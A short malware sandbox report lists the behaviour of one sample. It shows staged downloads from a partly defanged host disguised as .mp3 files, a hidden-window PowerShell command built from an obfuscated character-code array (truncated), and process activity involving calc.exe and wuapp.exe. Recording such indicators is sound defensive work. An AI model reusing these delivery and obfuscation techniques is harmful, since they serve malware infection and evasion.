Technical Information
- %WINDIR%\explorer.exe
- http://ni##dis.com/pdf/Stub.mp3
- http://ni##dis.com/pdf/cload.mp3
- DNS ASK google.com
- DNS ASK ni##dis.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $59E09DFA9FD25B74C4C308EE0AC4C6673FB663D175B7215AAAA9EFD4DFAA=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...' (with hidden window)
- '<SYSTEM32>\svchost.exe' -k DcomLaunch -p -s PlugPlay
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $59E09DFA9FD25B74C4C308EE0AC4C6673FB663D175B7215AAAA9EFD4DFAA=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...
- '%WINDIR%\syswow64\calc.exe'
- '%WINDIR%\syswow64\wuapp.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"